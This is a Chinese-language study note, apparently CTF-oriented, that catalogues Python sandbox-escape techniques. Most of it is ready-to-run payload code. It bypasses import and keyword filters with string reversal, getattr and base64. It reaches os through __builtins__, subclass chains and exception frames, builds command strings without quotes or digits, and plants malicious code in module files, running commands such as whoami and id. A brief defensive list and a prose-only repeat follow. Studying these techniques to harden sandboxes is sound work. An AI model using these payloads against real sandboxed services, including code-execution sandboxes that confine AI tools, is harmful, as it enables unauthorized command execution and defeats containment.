python沙箱逃逸学习记录
字数 955 2025-08-24 07:48:09

Python沙箱逃逸全面指南

一、Python沙箱逃逸概述

Python沙箱逃逸是指绕过Python执行环境中的限制,实现原本被禁止的操作(如命令执行、文件读写等)。核心思路是通过各种方法绕过过滤机制,利用Python语言的特性来执行恶意代码。

二、基本绕过技术

1. import过滤绕过

当直接import被过滤时,可使用以下替代方法:

# 使用__import__
__import__('os').system('ls')

# 使用importlib
import importlib
importlib.import_module('os').system('ls')

# Python2专用方法
execfile('/usr/lib/python2.7/os.py')
system('ls')

# Python3通用方法
with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')

2. 字符串过滤绕过

当关键字被过滤时,可通过字符串操作绕过:

# 字符串反转
__import__('so'[::-1]).system('ls')

# 字符串拼接
b = 'o'
a = 's'
__import__(a+b).system('ls')

# 使用eval/exec结合字符串反转
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

其他字符串处理方式:

  • Base64编码/解码
  • Hex编码
  • ROT13
  • Unicode编码

3. 恢复sys.modules

sys.modules存储已加载模块信息,可用来恢复被删除的模块:

# 恢复被删除的os模块
del sys.modules['os']
import os
os.system('ls')

4. 执行函数绕过

os.system被过滤时,使用其他执行函数:

# 使用popen系列
print(os.popen('whoami').read())  # py2/py3
print(os.popen2('whoami').read()) # py2
print(os.popen3('whoami').read()) # py2

# 使用getattr动态获取方法
import os
getattr(os, 'metsys'[::-1])('whoami')

# 完全不用import的方式
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

三、高级绕过技术

1. 利用__builtins__

Python内建函数可通过__builtins__访问:

# 访问__import__
__builtins__.__dict__['__import__']('os').system('whoami')

# 恢复被删除的内建函数
reload(__builtins__)  # py2
import imp; imp.reload(__builtins__)  # py3

2. 通过继承关系逃逸

利用对象继承链访问被禁用的模块:

# 通过site模块访问os
import site
os = reload(site.os)
os.system('whoami')

# 通过子类继承链访问os (py2示例)
''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']

# 更安全的写法 (避免索引变化)
[i._Printer__setup.__globals__['os'] for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"]

# 通过warnings->linecache->os (py2示例)
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

3. 利用异常逃逸

通过异常处理获取全局变量:

hack = lambda : [0][1]
try:
    hack()
except Exception as e:
    e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami')

4. 利用format字符串

通过字符串格式化访问属性和方法:

"{0.__class__.__base__}".format([])
"{x.__class__.__base__}".format(x=[])
("{0.__class_"+"_.__base__}").format([])

四、文件读写技术

1. 基本文件操作

# Python2专用
file('key').read()
file('key', 'w').write('content')

# Python通用
open('key').read()
open('key', 'w').write('content')

# 其他文件操作方式
types.FileType(rw)
platform.popen(rw)
linecache.getlines(r)

2. 通过修改模块文件实现代码执行

  1. 写入恶意代码到现有模块文件(如math.py)
  2. 导入该模块执行代码
# 假设math.py内容为恶意代码
import math  # 将执行math.py中的代码

五、字符过滤绕过

1. 绕过引号限制

# 使用chr构造字符串
().__class__.__new__  # 获取字符
str(().__class__.__new__)[21]  # 'w'

# 示例:构造"whoami"
os.system(
    str(().__class__.__new__)[21] +  # w
    str(().__class__.__new__)[13] +  # h
    str(().__class__.__new__)[14] +  # o
    str(().__class__.__new__)[40] +  # a
    str(().__class__.__new__)[10] +  # m
    str(().__class__.__new__)[3]     # i
)

# 使用dict键构造字符串
list(dict(whoami=1))[0]  # 'whoami'
str(dict(whoami=1))[2:8] # 'whoami'

2. 绕过数字限制

0: int(bool([])), False, len([]), any(())
1: int(bool(True)), all(()), int(list(list(dict(a၁၁=())).pop()).pop())
1.0: float(True)
-1: ~0

3. 运算符替换

# or 替换为 |
a == b or c == d  # 替换为
bool(a == b | c == d)

# and 替换为 & 或 *
a == b and c == d  # 替换为
bool(a == b & c == d)
bool(a == b * c == d)

六、高级沙箱逃逸技术

1. 使用bytes构造字符串

当字符和运算符被严格过滤时:

# 构造whoami
bytes([119, 104, 111, 97, 109, 105]).decode()

# 绕过逗号限制
bytes([j for i in range(6) for j in range(256) 
      if i == 0 and j == 119 
      or i == 1 and j == 104 
      or i == 2 and j == 111 
      or i == 3 and j == 97 
      or i == 4 and j == 109 
      or i == 5 and j == 105])

2. 模拟import机制

当无法直接import时,通过读取模块文件内容执行:

# 获取os模块路径
str(__import__("os"))[19:-2]

# 读取并执行os模块
exec(bytes([ord(j) for i in list(open(str(__import__(list(dict(os=1))[0]))[19:-2])) for j in i]))

# 结合popen执行命令
[str][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(os=1))[0]))[19:-2])))for(j)in(i)])))](list(popen(list(dict(whoami=1))[0]))[0])

3. 使用base64绕过复杂过滤

# 编码payload
__import__('os').popen('id').read()  # 编码为
X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCk=

# 执行解码后的payload
[eval][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(base64=1))[0]))[23:-2])))[:-5]for(j)in(i)])))](b64decode(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkg=1))[0]))

七、防御建议

  1. 不要使用evalexec等危险函数
  2. 使用严格的输入过滤和白名单机制
  3. 限制可访问的内建函数和模块
  4. 使用专门的沙箱模块如restrictedpython
  5. 监控和限制子进程创建
  6. 定期更新Python版本修复已知漏洞

八、总结

Python沙箱逃逸技术多种多样,核心思路包括:

  • 绕过关键字过滤(字符串操作、编码等)
  • 利用Python对象模型和继承链
  • 通过异常、格式化等特性获取上下文
  • 模拟import机制加载模块
  • 使用bytes等构造任意字符串

防御的关键在于理解这些技术原理,实施多层次的安全防护措施。

Python沙箱逃逸全面指南 一、Python沙箱逃逸概述 Python沙箱逃逸是指绕过Python执行环境中的限制,实现原本被禁止的操作(如命令执行、文件读写等)。核心思路是通过各种方法绕过过滤机制,利用Python语言的特性来执行恶意代码。 二、基本绕过技术 1. import过滤绕过 当直接 import 被过滤时,可使用以下替代方法: 2. 字符串过滤绕过 当关键字被过滤时,可通过字符串操作绕过: 其他字符串处理方式: Base64编码/解码 Hex编码 ROT13 Unicode编码 3. 恢复sys.modules sys.modules 存储已加载模块信息,可用来恢复被删除的模块: 4. 执行函数绕过 当 os.system 被过滤时,使用其他执行函数: 三、高级绕过技术 1. 利用__ builtins__ Python内建函数可通过 __builtins__ 访问: 2. 通过继承关系逃逸 利用对象继承链访问被禁用的模块: 3. 利用异常逃逸 通过异常处理获取全局变量: 4. 利用format字符串 通过字符串格式化访问属性和方法: 四、文件读写技术 1. 基本文件操作 2. 通过修改模块文件实现代码执行 写入恶意代码到现有模块文件(如math.py) 导入该模块执行代码 五、字符过滤绕过 1. 绕过引号限制 2. 绕过数字限制 3. 运算符替换 六、高级沙箱逃逸技术 1. 使用bytes构造字符串 当字符和运算符被严格过滤时: 2. 模拟import机制 当无法直接import时,通过读取模块文件内容执行: 3. 使用base64绕过复杂过滤 七、防御建议 不要使用 eval 、 exec 等危险函数 使用严格的输入过滤和白名单机制 限制可访问的内建函数和模块 使用专门的沙箱模块如 restrictedpython 监控和限制子进程创建 定期更新Python版本修复已知漏洞 八、总结 Python沙箱逃逸技术多种多样,核心思路包括: 绕过关键字过滤(字符串操作、编码等) 利用Python对象模型和继承链 通过异常、格式化等特性获取上下文 模拟import机制加载模块 使用bytes等构造任意字符串 防御的关键在于理解这些技术原理,实施多层次的安全防护措施。